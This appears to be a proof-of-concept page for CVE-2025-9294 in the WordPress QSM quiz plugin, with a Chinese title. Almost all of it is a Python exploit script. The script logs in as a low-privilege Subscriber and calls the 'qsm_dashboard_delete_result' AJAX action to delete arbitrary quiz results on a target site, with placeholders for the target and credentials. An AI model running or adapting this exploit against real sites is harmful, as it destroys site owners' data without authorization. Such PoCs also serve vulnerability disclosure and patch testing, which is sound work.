CVE-2025-9294 WordPress QSM插件未授权删除问卷结果漏洞

# CVE-2025-9294 PoC - WordPress QSM Plugin Unauthorized Quiz Result Deletion # Authenticated users with Subscriber role can delete any quiz results import requests import sys TARGET_URL = "https://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" RESULT_ID = 123 # Target quiz result ID to delete def exploit_cve_2025_9294(): """ Exploit for CVE-2025-9294: Missing capability check in qsm_dashboard_delete_result Allows authenticated attackers with Subscriber-level access to delete quiz results """ session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Send malicious request to delete quiz result delete_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # The vulnerable action 'qsm_dashboard_delete_result' lacks capability check exploit_data = { 'action': 'qsm_dashboard_delete_result', 'result_id': RESULT_ID } response = session.post(delete_url, data=exploit_data) if response.status_code == 200: print(f"[+] Request sent to delete result ID: {RESULT_ID}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_9294()